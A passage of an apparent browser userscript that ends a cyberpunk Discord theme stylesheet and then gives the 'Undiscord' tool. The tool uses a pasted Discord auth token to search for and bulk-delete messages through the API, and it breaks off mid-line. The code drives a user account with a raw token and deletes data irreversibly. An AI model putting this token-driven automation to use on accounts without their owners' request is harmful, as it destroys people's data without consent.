.userPopout-3XzG_A { -webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6); box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .2), 0 0 0 1px rgba(10, 189, 198, .6); } .headerName-fajvi9, .headerTagUsernameNoNickname-2_H881 { color: #0abdc6; } .headerTag-2pZJzA { color: rgba(10, 189, 198, .6); } .theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 { background-color: #091833; } .bodyTitle-Y0qMQz { color: rgba(10, 189, 198, .8); } .theme-dark .quickMessage-1yeL4E { background-color: #133e7c; border-color: #000b1e; color: #0abdc6; } .statusGreen-168O6Q { color: #00ff00; } .theme-dark .bodyInner-245q0L, .theme-dark .footer-1fjuF6 { color: rgba(10, 189, 198, .8); } /* 7.1. Member playing */ .headerPlaying-j0WQBV, .headerStreaming-2FjmGz { background: #711c91; } .theme-dark .activityProfile-2bJRaP .headerText-1HLrL7, .theme-dark .activityUserPopout-2yItg2 .headerText-1HLrL7, .theme-light .activityProfile-2bJRaP .headerText-1HLrL7, .theme-light .activityUserPopout-2yItg2 .headerText-1HLrL7 { color: #0abdc6; } .activityName-1IaRLn { color: #0abdc6; } .theme-dark .activityProfile-2bJRaP .content-3JfFJh, .theme-dark .activityProfile-2bJRaP .details-38sfDr, .theme-dark .activityProfile-2bJRaP .name-29ETJS, .theme-dark .activityUserPopout-2yItg2 .content-3JfFJh, .theme-dark .activityUserPopout-2yItg2 .details-38sfDr, .theme-dark .activityUserPopout-2yItg2 .name-29ETJS, .theme-light .activityProfile-2bJRaP .content-3JfFJh, .theme-light .activityProfile-2bJRaP .details-38sfDr, .theme-light .activityProfile-2bJRaP .name-29ETJS, .theme-light .activityUserPopout-2yItg2 .content-3JfFJh, .theme-light .activityUserPopout-2yItg2 .details-38sfDr, .theme-light .activityUserPopout-2yItg2 .name-29ETJS { color: rgba(10, 189, 198, .8); } /* 8. Library */ /* 8.1. Gifts Inventory */ .theme-dark .header-3YT7-d { color: #0abdc6; } .theme-dark .inputPrompt-1vnYnD { color: #0abdc6; } .theme-dark .emptyStateHeader-1ADtcL, .theme-dark .header-2HrZI4 { color: #0abdc6; } .theme-dark .emptyStateSubtext-2njjqg { color: #0abdc6; } /* 9. Friends */ .theme-dark .container-1D34oG { background-color: #091833; } #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5) { background-color: #133e7c !important; color: #0abdc6 !important; } #app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.layers-3q14ss.da-layers > div > div > div.base-3dtUhz.da-base > div > div.container-3gCOGc.da-container > div.container-1r6BKw.da-container.themed-ANHk51.da-themed > div.children-19S4PO.da-children > div.tabBar-1E2ExX.da-tabBar.topPill-30KHOu > div:nth-child(5):hover { background-color: #711c91 !important; } .friendsTable-133bsv .friendsRow-2yicud .friendsColumnActions-1LT3_M .friendsAction-__WNE9.actionDeny-18IZiW:hover { background-color: #ff0000!important; color: #d7d7d5; } .theme-dark .inset-3sAvek { background-color: rgba(19, 62, 124, .6); } .theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover { background-color: #091833; } div.item-3HknzM:nth-child(5) { color: #0abdc6 !important; background-color: #133e7c !important; } div.item-3HknzM:nth-child(5):hover { background-color: #711c91 !important; } /* 9.1. Groups */ .theme-dark .subtitle-2P4u9v { color: #0abdc6; } .theme-dark .friend-3KALPe { color: #0abdc6; } .lookFilled-1Gx00P.colorBrand-3pXr91:disabled { background-color: rgba(19, 62, 124, .6); } .theme-dark .friendSelected-1sa4bG { background-color: rgba(19, 62, 124, .6); } /* 9.2. Friend PLaying Modal */ .topSectionPlaying-1J5E4n { background: #711c91; } .username-3gJmXY { color: #0abdc6; } .discriminator-xUhQkU { color: #0abdc6; } .additionalActionsIcon-1FoUlE { color: #0abdc6; } #app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.topSectionPlaying-1J5E4n.da-topSectionPlaying > div > div.tabBarContainer-1s1u-z.da-tabBarContainer > div > div { color: #0abdc6 !important; } /* 9.3. Call */ .theme-dark .transparent-2ZlE3R.container-1r6BKw, .theme-light .transparent-2ZlE3R.container-1r6BKw { background: #000b1e; } .theme-dark .transparent-2ZlE3R .icon-22AiRD, .theme-light .transparent-2ZlE3R .icon-22AiRD { color: #0abdc6; } .theme-dark .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8), .theme-light .transparent-2ZlE3R .title-29uC1r:not(.titleMuted-LYRtm8) { color: #0abdc6; } .theme-dark .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD { color: #ea00d9; } .theme-dark .transparent-2ZlE3R .clickable-3rdHwn .icon-22AiRD, .theme-light .transparent-2ZlE3R .clickable-3rdHwn:hover .icon-22AiRD { color: #0abdc6; } .theme-dark .wrapper-29NfPK { background-color: #000b1e !important; } .video-1FfuMD { background-color: #000b1e !important; } .theme-dark .quickSelect-3BxO0K { color: #0abdc6; } .lookFilled-1Gx00P.colorGreen-29iAKY:hover { background-color: #711c91; } .lookFilled-1Gx00P.colorGreen-29iAKY { color: #0abdc6; background-color: #133e7c; } .theme-dark .wrapper-29NfPK.minimum-2d6zH6 .actions-2vadYq .center-1Vp33r { border-color: #091833; background-color: #091833; } .lookFilled-1Gx00P.colorRed-1TFJan { color: #0abdc6; background-color: #133e7c; } .lookFilled-1Gx00P.colorRed-1TFJan:hover { background-color: #711c91; } .theme-dark .quickSelectPopout-X1hvgV { background: #000b1e; color: #0abdc6; } .theme-dark .regionSelectName-c5qL8O { color: #0abdc6; } .theme-dark .quickSelectPopoutOption-opKBx9:hover { background-color: #133e7c; } .theme-dark .incomingCallInner-2VmFiR { background: #000b1e; border-color: #0abdc6; } .theme-dark .container-3-pyIM .content-2M3n_H .actionAnchor-gzc_5z { color: #ea00d9; } /* 9.4. Video Call */ .colorable-1bkp8v.green-plH-Mj { background: #133e7c; } .colorable-1bkp8v.green-plH-Mj, .colorable-1bkp8v.green-plH-Mj .centerIcon-2G6o-T { color: #0abdc6; } .colorable-1bkp8v.green-plH-Mj.active-1QRrIS { background: #133e7c; } .colorable-1bkp8v.green-plH-Mj:hover { background: #711c91; } .colorable-1bkp8v.red-33-Lnk.active-1QRrIS, .colorable-1bkp8v.red-33-Lnk:hover { background: #711c91; } .colorable-1bkp8v.red-33-Lnk, .colorable-1bkp8v.red-33-Lnk .centerIcon-2G6o-T { color: #0abdc6; } .colorable-1bkp8v.red-33-Lnk { background: #133e7c; } .colorable-1bkp8v.primaryDark-3mSFDl, .colorable-1bkp8v.primaryDark-3mSFDl .centerIcon-2G6o-T { color: #0abdc6; } .colorable-1bkp8v.primaryDark-3mSFDl { background: #133e7c; } .colorable-1bkp8v.primaryDark-3mSFDl:hover { background: #711c91; } .colorDefault-2K3EoJ.focused-3afm-j { background-color: #711c91; color: #0abdc6; } .colorable-1bkp8v.primaryDark-3mSFDl.active-1QRrIS { background: #ea00d9; } .colorDefault-2K3EoJ .checkbox-3s5GYZ, .colorDefault-2K3EoJ .radioSelection-1HmrQS { color: #711c91; } .colorDefault-2K3EoJ.focused-3afm-j .checkbox-3s5GYZ, .colorDefault-2K3EoJ.focused-3afm-j .radioSelection-1HmrQS, .colorDefault-2K3EoJ.focused-3afm-j .subtext-13Lvrj { color: #ea00d9; } .controlIcon-35oS15 { color: #0abdc6; } .controlIcon-35oS15:hover { color: #ea00d9; } /* 10. Quickswitcher */ .theme-dark .keybindShortcut-1BD6Z1 span .bindArrow-2X3Aom g { fill: #0abdc6; } .tutorialMessages-12mfId { color: #0abdc6; } /* 11. Settings */ .theme-dark #bd-settings-sidebar .ui-tab-bar-header { color: #0abdc6; } .theme-dark #bd-settings-sidebar .ui-tab-bar-item { color: #0abdc6; } .theme-dark #bd-settings-sidebar .ui-tab-bar-separator { background-color: rgba(10, 189, 198, .2); } .theme-dark .foreground-26ym5y { fill: #0abdc6; } .theme-dark .link-1IoFq-:hover .foreground-26ym5y { fill: #ea00d9; } .theme-dark #bd-settings-sidebar .ui-tab-bar-header { color: #0abdc6; } #bd-settings-sidebar > span > div { color: #0abdc6 !important; } #user-settings > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(26) { color: #ff0000 !important; } /* 11.1. Apps */ .lookOutlined-3sRXeN.colorRed-1TFJan:hover { border-color: #ff0000; } .lookOutlined-3sRXeN.colorRed-1TFJan { color: #ff0000; border-color: rgba(255,0,0,.4); } /* 11.2. Connections */ .connectionHeader-2MDqhu { background: rgba(0, 11, 30, 1); border-bottom: 1px solid rgba(19, 62, 124, .15); } .connectionHeader-2MDqhu .connectionAccountValue-3VdBGs { color: #0abdc6; } .subEnabledTitle-2ElRo_ { color: #ea00d9; } /* 11.3. Payments */ .theme-dark .codeRedemptionRedirect-1wVR4b { color: #0abdc6; background-color: #000b1e; border-color: #133e7c; } .theme-dark .subText-2Zhkkh, .theme-light .subText-2Zhkkh { color: rgba(10, 189, 198, .6); } /* 11.4. Nitro */ .theme-dark .tier1Banner-1B_WXY { background-color: #000b1e; color: #0abdc6; } .theme-dark .iconIncluded-2xYFq5 { color: #00ff00; } /* 11.4. Voice */ .barFill-23-gu- { background: #ea00d9; } .grabber-3mFHz2 { background-color: #0abdc6; border: 1px solid #0abdc6; } .theme-dark .bar-2Qqk5Z { background: #133e7c; } .theme-dark .progress-1IcQ3A { background: #133e7c; } .theme-dark .bubble-3we2di { background-color: #000b1e; } .theme-dark .bubble-3we2di:before { border-top-color: #000b1e; } .bubble-3we2di { color: #ea00d9; } .theme-dark .userSettingsVoice-iwdUCU .previewOverlay-2O7_KC { background-color: #000b1e; border-color: #133e7c; } /* 11.5. Game Activity */ .theme-dark .notDetected-33MY4s, .theme-light .notDetected-33MY4s { background-color: #133e7c; } .theme-dark .notDetected-33MY4s .gameName-1RiWHm, .theme-light .notDetected-33MY4s .gameName-1RiWHm { color: #0abdc6; } .theme-dark .notDetected-33MY4s .lastPlayed-3bQ7Bo, .theme-light .notDetected-33MY4s .lastPlayed-3bQ7Bo { color: #0abdc6; } .theme-dark .nowPlayingAdd-1Kdmh_, .theme-light .nowPlayingAdd-1Kdmh_ { color: #0abdc6; } .theme-dark .gameName-1RiWHm { color: #ea00d9; } .theme-dark .lastPlayed-3bQ7Bo, .theme-dark .overlayStatusText-L2IACa { color: #0abdc6; } .theme-dark .game-1ipmAa { -webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6); box-shadow: 0 1px 0 0 rgba(19, 62, 124, .6); } /* 11.6. Change history */ .theme-dark .root-1gCeng { background-color: #091833; } .theme-dark .date-2WJGyu { color: #0abdc6; } .added-e1Pp41 { color: #00ff00; } .added-e1Pp41:after { background-color: #00ff00; } .theme-dark .content-8biNdB p, .theme-dark .content-8biNdB ul li { color: #0abdc6; } .theme-dark .content-8biNdB ul li:before { background-color: #0abdc6; } .fixed-22Vcez { color: #ff0000; } .fixed-22Vcez:after { background-color: #ff0000; } .progress-1fjoBz { color: #f57800; } .progress-1fjoBz:after { background-color: #f57800; } .improved-1F5LIN { color: #ea00d9; } .improved-1F5LIN:after { background-color: #ea00d9; } /* 11.7. Other */ .ghostPill-2-KUPM { color: #ffff00; background-color: rgba(19, 62, 124, .3); } .theme-dark .searchResultsContainer-1ma_dc { background-color: #000b1e; -webkit-box-shadow: 0 1px 5px 1px #133e7c; box-shadow: 0 1px 5px 1px #133e7c; } .theme-dark .searchOption-8nCYo-.selected-1r_nkg { background-color: #133e7c; } .theme-dark .emptyUsers--hiToV { background-color: #000b1e; border-color: #133e7c; } .theme-dark .item-3eFBNF { -webkit-box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6); box-shadow: inset 0 -1px 0 0 rgba(19, 62, 124, .6); } /* 11.8. BetterDiscord Settings */ .theme-dark #bd-settings-sidebar .ui-tab-bar-item.selected { background-color: rgba(113, 28, 145, .6); color: #0abdc6; } .theme-dark #bd-settings-sidebar .ui-tab-bar-item:hover { background-color: rgba(19, 62, 124, .6); color: #0abdc6; } .theme-dark #bd-settingspane-container h2.ui-form-title { color: #0abdc6; } .theme-dark #bd-settingspane-container .ui-switch-item h3 { color: #ea00d9; } .theme-dark #bd-settingspane-container .ui-switch-item .style-description { color: #0abdc6; } #bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch { background: #133e7c; } #bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch:before { background: #0abdc6; } #bd-settingspane-container .ui-switch-item .ui-switch-wrapper .ui-switch.checked { background: #711c91; } .bd-pfbtn { background: #133e7c; color: #0abdc6; } .bd-pfbtn:hover { background: #711c91; color: #0abdc6; } .theme-dark .bda-slist li { background-color: #000b1e; color: #0abdc6; border-color: #133e7c; } .theme-dark .bda-slist .bda-header { color: #0abdc6; border-bottom-color: rgba(19, 62, 124, 0.5); } .theme-dark .bda-slist .bda-description { color: rgba(10, 189, 198, .7); } .bda-slist .bda-footer a { color: #ea00d9; } .bda-slist .bda-footer button { background: #133e7c; color: #0abdc6; } #bd-settings-sidebar div { color: #0abdc6 !important; } .bd-toast.toast-success { background-color: #711c91; color: #0abdc6; } .standardSidebarView-3F1I7i #editor-detached h3 { color: #0abdc6; } .standardSidebarView-3F1I7i #editor-detached button { background: #133e7c; color: #0abdc6; } .standardSidebarView-3F1I7i #editor-detached button:hover { background: #711c91; color: #0abdc6; } /* 12. Dialogs */ /* 12.1. Quality Survey */ .theme-dark .header-sJd8D7 { color: #0abdc6; } .theme-dark .footer-2gL1pp { background-color: #000b1e; -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6); } .theme-dark .checkbox-3kaeSU .checkboxInner-3yjcPe span { border-color: #0abdc6; } /* 12.2. New Device Dialog */ .lookLink-9FtZy-.colorBrand-3pXr91 { color: #ea00d9; } /* 12.3. News */ .theme-dark .date-1k6kG2 { color: #0abdc6; } .added-2hLRj3 { color: #00ff00; } .added-2hLRj3::after { background-color: #00ff00; } .theme-dark .content-s2SEQO ol, .theme-dark .content-s2SEQO p, .theme-dark .content-s2SEQO ul li { color: #0abdc6; } .content-s2SEQO a { color: #ea00d9; } .progress-YsDrV- { color: #f57800; } .progress-YsDrV-::after { background-color: #f57800; } .fixed-3zCC84 { color: #ff0000; } .fixed-3zCC84::after { background-color: #ff0000; } .theme-dark .content-s2SEQO ul li::before { background-color: #0abdc6; } /* 12.4. Desktop App */ .noticeDefault-362Ko2 { background-color: rgba(113, 28, 145, .6); color: #0abdc6; } .theme-dark .button-1MICoQ, .theme-light .button-1MICoQ { background-color: #133e7c; } .button-1MICoQ { border: 1px solid #0abdc6; color: #0abdc6; } .theme-dark .button-1MICoQ:hover, .theme-light .button-1MICoQ:hover { border-color: #0abdc6; background-color: #711c91; } .noticeDefault-362Ko2 .button-1MICoQ:hover { color: #0abdc6; } /* 13. Transparency */ .theme-dark { --background-primary: rgba(9, 24, 51, .4); --background-secondary: rgba(0, 11, 30, .4); --background-tertiary: rgba(0, 11, 30, .4); --deprecated-panel-background: rgba(9, 24, 51, .4); --channeltextarea-background: rgba(19, 62, 124, .7); --background-secondary-alt: rgba(9, 24, 51, .7) } .theme-dark .container-1D34oG { background-color: rgba(9, 24, 51, .4) } .theme-dark .inset-3sAvek { background-color: rgba(19, 62, 124, .2); } .theme-dark .outer-1AjyKL.active-1xchHY, .theme-dark .outer-1AjyKL.interactive-3B9GmY:hover { background-color: rgba(9, 24, 51, .4) } `; if (typeof GM_addStyle !== "undefined") { GM_addStyle(css); } else { let styleNode = document.createElement("style"); styleNode.appendChild(document.createTextNode(css)); (document.querySelector("head") || document.documentElement).appendChild(styleNode); } })(); async function deleteMessages(authToken, authorId, guildId, channelId, minId, maxId, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, extLogger, stopHndl, onProgress) { const start = new Date(); let delCount = 0; let failCount = 0; let avgPing; let lastPing; let grandTotal; let throttledCount = 0; let throttledTotalTime = 0; let offset = 0; let iterations = -1; const wait = async ms => new Promise(done => setTimeout(done, ms)); const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`; const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&', '<': '<', '"': '"', '\'': ''' })[m]); const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`; const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&'); const ask = async msg => new Promise(resolve => setTimeout(() => resolve(window.confirm(msg)), 10)); const printDelayStats = () => log.verb(`Delete delay: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing | 0}ms`); const toSnowflake = (date) => /:/.test(date) ? ((new Date(date).getTime() - 1420070400000) * Math.pow(2, 22)) : date; const log = { debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); }, info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); }, verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); }, warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); }, error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); }, success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); }, }; async function recurse() { let API_SEARCH_URL; if (guildId === '@me') { API_SEARCH_URL = `https://discord.com/api/v6/channels/${channelId}/messages/`; // DMs } else { API_SEARCH_URL = `https://discord.com/api/v6/guilds/${guildId}/messages/`; // Server } const headers = { 'Authorization': authToken }; let resp; try { const s = Date.now(); resp = await fetch(API_SEARCH_URL + 'search?' + queryString([ ['author_id', authorId || undefined], ['channel_id', (guildId !== '@me' ? channelId : undefined) || undefined], ['min_id', minId ? toSnowflake(minId) : undefined], ['max_id', maxId ? toSnowflake(maxId) : undefined], ['sort_by', 'timestamp'], ['sort_order', 'desc'], ['offset', offset], ['has', hasLink ? 'link' : undefined], ['has', hasFile ? 'file' : undefined], ['content', content || undefined], ['include_nsfw', includeNsfw ? true : undefined], ]), { headers }); lastPing = (Date.now() - s); avgPing = avgPing > 0 ? (avgPing * 0.9) + (lastPing * 0.1) : lastPing; } catch (err) { return log.error('Search request threw an error:', err); } // not indexed yet if (resp.status === 202) { const w = (await resp.json()).retry_after; throttledCount++; throttledTotalTime += w; log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`); await wait(w); return await recurse(); } if (!resp.ok) { // searching messages too fast if (resp.status === 429) { const w = (await resp.json()).retry_after; throttledCount++; throttledTotalTime += w; searchDelay += w; // increase delay log.warn(`Being rate limited by the API for ${w}ms! Increasing search delay...`); printDelayStats(); log.verb(`Cooling down for ${w * 2}ms before retrying...`); await wait(w * 2); return await recurse(); } else { return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json()); } } const data = await resp.json(); const total = data.total_results; if (!grandTotal) grandTotal = total; const discoveredMessages = data.messages.map(convo => convo.find(message => message.hit === true)); const messagesToDelete = discoveredMessages.filter(msg => { return msg.type === 0 || msg.type === 6 || (msg.pinned && includePinned); }); const skippedMessages = discoveredMessages.filter(msg => !messagesToDelete.find(m => m.id === msg.id)); const end = () => { log.success(`Ended at ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`); printDelayStats(); log.verb(`Rate Limited: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`); log.debug(`Deleted ${delCount} messages, ${failCount} failed.\n`); } const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total)); log.info(`Total messages found: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, To be deleted: ${messagesToDelete.length}, System: ${skippedMessages.length})`, `offset: ${offset}`); printDelayStats(); log.verb(`Estimated time remaining: ${etr}`) if (messagesToDelete.length > 0) { if (++iterations < 1) { log.verb(`Waiting for your confirmation...`); if (!await ask(`Do you want to delete ~${total} messages?\nEstimated time: ${etr}\n\n---- Preview ----\n` + messagesToDelete.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n'))) return end(log.error('Aborted by you!')); log.verb(`OK`); } for (let i = 0; i < messagesToDelete.length; i++) { const message = messagesToDelete[i]; if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!')); log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`, `Deleting ID:${redact(message.id)} <b>${redact(message.author.username + '#' + message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g, '↵')}</i>`, message.attachments.length ? redact(JSON.stringify(message.attachments)) : ''); if (onProgress) onProgress(delCount + 1, grandTotal); let resp; try { const s = Date.now(); const API_DELETE_URL = `https://discord.com/api/v6/channels/${message.channel_id}/messages/${message.id}`; resp = await fetch(API_DELETE_URL, { headers, method: 'DELETE' }); lastPing = (Date.now() - s); avgPing = (avgPing * 0.9) + (lastPing * 0.1); delCount++; } catch (err) { log.error('Delete request throwed an error:', err); log.verb('Related object:', redact(JSON.stringify(message))); failCount++; } if (!resp.ok) { // deleting messages too fast if (resp.status === 429) { const w = (await resp.json()).retry_after; throttledCount++; throttledTotalTime += w; deleteDelay = w; // increase delay log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`); printDelayStats(); log.verb(`Cooling down for ${w * 2}ms before retrying...`); await wait(w * 2); i--; // retry } else { log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json()); log.verb('Related object:', redact(JSON.stringify(message))); failCount++; } } await wait(deleteDelay); } if (skippedMessages.length > 0) { grandTotal -= skippedMessages.length; offset += skippedMessages.length; log.verb(`Found ${skippedMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`); } log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '')); await wait(searchDelay); if (stopHndl && stopHndl() === false) return end(log.error('Stopped by you!')); return await recurse(); } else { if (total - offset > 0) log.warn('Ended because API returned an empty page.'); return end(); } } log.success(`\nStarted at ${start.toLocaleString()}`); log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" minId="${redact(minId)}" maxId="${redact(maxId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`); if (onProgress) onProgress(null, 1); return await recurse(); } //---- User interface ----// let popover; let btn; let stop; function initUI() { const insertCss = (css) => { const style = document.createElement('style'); style.appendChild(document.createTextNode(css)); document.head.appendChild(style); return style; } const createElm = (html) => { const temp = document.createElement('div'); temp.innerHTML = html; return temp.removeChild(temp.firstElementChild); } insertCss(` #undicord-btn{position: relative; height: 24px;width: auto;-webkit-box-flex: 0;-ms-flex: 0 0 auto;flex: 0 0 auto;margin: 0 8px;cursor:pointer; color: var(--interactive-normal);} #undiscord{position:fixed;top:100px;right:10px;bottom:10px;width:780px;z-index:99;color:var(--text-normal);background-color:var(--background-secondary);box-shadow:var(--elevation-stroke),var(--elevation-high);border-radius:4px;display:flex;flex-direction:column} #undiscord a{color:#00b0f4} #undiscord.redact .priv{display:none!important} #undiscord:not(.redact) .mask{display:none!important} #undiscord.redact [priv]{-webkit-text-security:disc!important} #undiscord .toolbar span{margin-right:8px} #undiscord button,#undiscord .btn{color:#fff;background:#7289da;border:0;border-radius:4px;font-size:14px} #undiscord button:disabled{display:none} #undiscord input[type="text"],#undiscord input[type="search"],#undiscord input[type="password"],#undiscord input[type="datetime-local"],#undiscord input[type="number"]{background-color:#202225;color:#b9bbbe;border-radius:4px;border:0;padding:0 .5em;height:24px;width:144px;margin:2px} #undiscord input#file{display:none} #undiscord hr{border-color:rgba(255,255,255,0.1)} #undiscord .header{padding:12px 16px;background-color:var(--background-tertiary);color:var(--text-muted)} #undiscord .form{padding:8px;background:var(--background-secondary);box-shadow:0 1px 0 rgba(0,0,0,.2),0 1.5px 0 rgba(0,0,0,.05),0 2px 0 rgba(0,0,0,.05)} #undiscord .logarea{overflow:auto;font-size:.75rem;font-family:Consolas,Liberation Mono,Menlo,Courier,monospace;flex-grow:1;padding:10px} `); popover = createElm(` <div id="undiscord" style="display:none;"> <div class="header"> Undiscord - Bulk delete messages </div> <div class="form"> <div style="display:flex;flex-wrap:wrap;"> <span>Authorization <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authToken.md" title="Help" target="_blank">?</a> <button id="getToken">get</button><br> <input type="password" id="authToken" placeholder="Auth Token" autofocus>*<br> <span>Author <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/authorId.md" title="Help" target="_blank">?</a> <button id="getAuthor">get</button></span> <br><input id="authorId" type="text" placeholder="Author ID" priv></span> <span>Guild/Channel <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/channelId.md" title="Help" target="_blank">?</a> <button id="getGuildAndChannel">get</button><br> <input id="guildId" type="text" placeholder="Guild ID" priv><br> <input id="channelId" type="text" placeholder="Channel ID" priv><br> <label><input id="includeNsfw" type="checkbox">NSFW Channel</label><br><br> <label for="file" title="Import list of channels from messages/index.json file"> Import: <span class="btn">...</span> <input id="file" type="file" accept="application/json,.json"></label> </span><br> <span>Range <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/messageId.md" title="Help" target="_blank">?</a><br> <input id="minDate" type="datetime-local" title="After" style="width:auto;"><br> <input id="maxDate" type="datetime-local" title="Before" style="width:auto;"><br> <input id="minId" type="text" placeholder="After message with Id" priv><br> <input id="maxId" type="text" placeholder="Before message with Id" priv><br> </span> <span>Search messages <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/filters.md" title="Help" target="_blank">?</a><br> <input id="content" type="text" placeholder="Containing text" priv><br> <label><input id="hasLink" type="checkbox">has: link</label><br> <label><input id="hasFile" type="checkbox">has: file</label><br> <label><input id="includePinned" type="checkbox">Include pinned</label> </span><br> <span>Search Delay <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help" target="_blank">?</a><br> <input id="searchDelay" type="number" value="100" step="100"><br> </span> <span>Delete Delay <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help" target="_blank">?</a><br> <input id="deleteDelay" type="number" value="1000" step="100"> </span> </div> <hr> <button id="start" style="background:#43b581;width:80px;">Start</button> <button id="stop" style="background:#f04747;width:80px;" disabled>Stop</button> <button id="clear" style="width:80px;">Clear log</button> <label><input id="autoScroll" type="checkbox" checked>Auto scroll</label> <label title="Hide sensitive information for taking screenshots"><input id="redact" type="checkbox">Screenshot mode</label> <progress id="progress" style="display:none;"></progress> <span class="percent"></span> </div> <pre class="logarea"> <center>Star this project on <a href="https://github.com/victornpb/deleteDiscordMessages" target="_blank">github.com/victornpb/deleteDiscordMessages</a>!\n\n <a href="https://github.com/victornpb/deleteDiscordMessages/issues" target="_blank">Issues or help</a> </center> </pre> </div> `); document.body.appendChild(popover); btn = createElm(`<div id="undicord-btn" tabindex="0" role="button" aria-label="Delete Messages" title="Delete Messages"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"> <path fill="currentColor" d="M15 3.999V2H9V3.999H3V5.999H21V3.999H15Z"></path> <path fill="currentColor" d="M5 6.99902V18.999C5 20.101 5.897 20.999 7 20.999H17C18.103 20.999 19 20.101 19 18.999V6.99902H5ZM11 17H9V11H11V17ZM15 17H13V11H15V17Z"></path> </svg> <br><progress style="display:none; width:24px;"></progress> </div>`); btn.onclick = function togglePopover() { if (popover.style.display !== 'none') { popover.style.display = 'none'; btn.style.color = 'var(--interactive-normal)'; } else { popover.style.display = ''; btn.style.color = '#f04747'; } }; function mountBtn() { const toolbar = document.querySelector('[class^=toolbar]'); if (toolbar) toolbar.appendChild(btn); } const observer = new MutationObserver(function (_mutationsList, _observer) { if (!document.body.contains(btn)) mountBtn(); // re-mount the button to the toolbar }); observer.observe(document.body, { attributes: false, childList: true, subtree: true }); mountBtn(); const $ = s => popover.querySelector(s); const logArea = $('pre'); const startBtn = $('button#start'); const stopBtn = $('button#stop'); const autoScroll = $('#autoScroll'); startBtn.onclick = async e => { const authToken = $('input#authToken').value.trim(); const authorId = $('input#authorId').value.trim(); const guildId = $('input#guildId').value.trim(); const channelIds = $('input#channelId').value.trim().split(/\s*,\s*/); const minId = $('input#minId').value.trim(); const maxId = $('input#maxId').value.trim(); const minDate = $('input#minDate').value.trim(); const maxDate = $('input#maxDate').value.trim(); const content = $('input#content').value.trim(); const hasLink = $('input#hasLink').checked; const hasFile = $('input#hasFile').checked; const includeNsfw = $('input#includeNsfw').checked; const includePinned = $('input#includePinned').checked; const searchDelay = parseInt($('input#searchDelay').value.trim()); const deleteDelay = parseInt($('input#deleteDelay').value.trim()); const progress = $('#progress'); const progress2 = btn.querySelector('progress'); const percent = $('.percent'); const fileSelection = $("input#file"); fileSelection.addEventListener("change", () => { const files = fileSelection.files; const channelIdField = $('input#channelId'); if (files.length > 0) { const file = files[0]; file.text().then(text => { let json = JSON.parse(text); let channels = Object.keys(json); channelIdField.value = channels.join(","); }); } }, false); const stopHndl = () => !(stop === true); const onProg = (value, max) => { if (value && max && value > max) max = 